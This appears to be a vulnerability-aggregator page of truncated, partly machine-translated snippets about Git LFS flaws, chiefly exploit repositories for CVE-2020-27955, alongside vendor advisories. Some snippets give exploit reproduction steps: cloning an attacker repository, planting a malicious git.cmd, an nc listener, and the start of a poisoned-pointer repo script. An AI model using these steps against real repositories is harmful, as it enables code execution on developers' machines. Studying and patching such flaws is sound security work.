ofrak

OFRAK OFRAK Open Firmware Reverse Analysis Konsole is a binary analysis and modification platform. OFRAK combines the ability to: Identify and Unpack many binary formats Analyze unpacked binaries with field-tested reverse engineering tools Modify and Repack binaries with powerful patching...

CVE-2020-27955-LFS

Git-lfs रिमोट कोड एग्जीक्यूशन RCE शोषण CVE-2020-27955 .bat / powershell संस्करण असुरक्षित: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken आदि। खोजकर्ता Dawid Golunski https://legalhackers.com https://exploitbox.io विंडोज पर परीक्षण किया गया: git, GitHub CL...

cve-2020-27955

cve-2020-27955 cve-2020-27955 إعادة الإنتاج 1. أنشئ مستودع GitHub 2. git clone https://github.com/attacker/poc.git . 3. echo calc.exe git.cmd 4. git lfs track “.dat” 5. echo “Junk” large.dat 6. git add -A 7. git commit -m “POC” 8. git push -u origin master -f...

CVE-2020-27955-LFS

استغلال تنفيذ التعليمات البرمجية عن بُعد RCE في Git-lfs CVE-2020-27955 نسخة .bat / powershell البرامج المعرضة: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken إلخ. اكتشفها Dawid Golunski https://legalhackers.com https://exploitbox.io تم اختباره على Windows...

CVE-2020-27955

Git-lfs रिमोट कोड निष्पादन RCE एक्सप्लॉइट CVE-2020-27955 .bat / powershell संस्करण असुरक्षित: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken आदि। Dawid Golunski द्वारा खोजा गया https://legalhackers.com https://exploitbox.io Windows पर परीक्षण किया गया: git...

git-lfs-RCE-exploit-CVE-2020-27955

استغلال تنفيذ التعليمات البرمجية عن بُعد RCE في Git-lfs CVE-2020-27955 نسخة .bat / powershell البرامج المعرضة للخطر: git، GitHub CLI gh، GitHub Desktop، Visual Studio Code، SourceTree، SmartGit، GitKraken وغيرها اكتشفها Dawid Golunski https://legalhackers.com https://exploitbox.io تم اختبارها على...

CVE-2020-27955-LFS

Git-lfs दूरस्थ कोड निष्पादन RCE शोषण CVE-2020-27955 .bat / powershell संस्करण संवेदनशील: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken आदि। डाविड गोलुन्स्की द्वारा खोजा गया https://legalhackers.com https://exploitbox.io Windows पर परीक्षण किया गया: git,...

CVE-2020-27955

إعادة إنتاج ثغرة CVE-2020-27955 1. قم بتنزيل إصدار Git-LFS المعرض للثغرة على جهاز ويندوز رابط التحميل: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1 2. قم بالتثبيت على جهاز ويندوز، ثم أضف المعلومات التالية إلى ملف hosts. 10.1.1.5 هو المضيف الذي يستمع على المنفذ 8888 عبر nc...

CVE-2020-27955-LFS-main

Git-lfs रिमोट कोड एक्सीक्यूशन RCE शोषण CVE-2020-27955 .bat / पॉवरशेल संस्करण संवेदनशील: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken आदि। Dawid Golunski द्वारा खोजा गया https://legalhackers.com https://exploitbox.io विंडोज पर परीक्षित: git, GitHub CLI gh...

CVE-2026-22004-Git-LFS-Pointer-Poisoning-Supply-Chain-

CVE-2026-22004 – تسميم مؤشر Git LFS سلسلة التوريد كود البرنامج Bash + Python root@kitploit: createmaliciousrepo.sh - Sets up a repo with poisoned LFS pointer git init git lfs track ".bin" echo "version https://git-lfs.github.com/spec/v1 oid...

CVE-2020-27955

CVE-2020-27955 شكرًا https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

CLEANSTART-2026-WX98527 Security fixes in git-lfs-fips 3.7.1-r1

Package git-lfs-fips version 3.7.1-r1 fixes 9 vulnerabilities: CVE-2026-39821, CVE-2026-56860, CVE-2026-56858, CVE-2026-33818, CVE-2026-46600...

CVE-2020-27955

Git-lfs रिमोट कोड निष्पादन RCE शोषण CVE-2020-27955 .bat / powershell संस्करण असुरक्षित: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken आदि। Dawid Golunski द्वारा खोजा गया https://legalhackers.com https://exploitbox.io विंडोज पर परीक्षण किया गया: git, GitHu...

git-lfs-RCE-exploit-CVE-2020-27955-Go

Git-lfs रिमोट कोड एक्सेक्यूशन RCE शोषण CVE-2020-27955 Go संस्करण असुरक्षित: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken आदि। Dawid Golunski द्वारा खोजा गया https://legalhackers.com https://exploitbox.io विंडोज़ पर परीक्षण किया गया: git, GitHub CLI gh,...

Security update for git-lfs (important)

openSUSE Security Update: Security update for git-lfs Announcement ID: openSUSE-SU-2026:0305-1 Rating: important References: 1239322 1252259 Cross-References: CVE-2025-22869 CVE-2025-26625 CVSS scores: CVE-2025-22869 SUSE: 8.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N...

SUSE SLED15 / SLES15 Security Update : git-lfs (SUSE-SU-2026:3801-1)

The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has a package installed that is affected by a vulnerability as referenced in the SUSE-SU-2026:3801-1 advisory. This update for git-lfs fixes the following issue: - CVE-2025-26625: certain commands may write to files visible outsid...

Astra Linux – Vulnerability in git-lfs

Git LFS is an extension to Git for versioning large files. In Git LFS versions 0.5.2 through 3.7.0, when populating a Git repository’s working tree with the contents of Git LFS objects, certain Git LFS commands may write to files that are visible outside the current Git working tree if symbolic o...

ANT-2026-VN61PHA0 · gitea · IDOR

idor medium CVE-2026-58435 GHSA-rh79-75qm-gwjr Severity Claude high · Security research firm high · Maintainer medium Discovered by Claude Mythos Preview REPORT Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec. ANT-2026-VN61PHA0: Gitea LFS Deploy-Ke...

CVE-2026-72410

In the Linux kernel, the following vulnerability has been resolved: octeontx2-af: Validate NIX maximum LFs correctly NIX maximum number of LFs can be set via devlink command but that can be done before assigning any LFs to a PF/VF. The condition used to check whether any LFs are assigned is...

GO-2026-4340 vulnerabilities

Vulnerabilities for packages: local-static-provisioner, cri-tools, fluxcd-kustomize-mutating-webhook, paranoia, esbuild, cilium-cli, headlamp, rancher-system-agent, src-fingerprint, ghaudit, crossplane-provider-aws-cloudfront, kubernetes-csi-driver-nfs, kubernetes-csi-external-attacher, vault-k8s...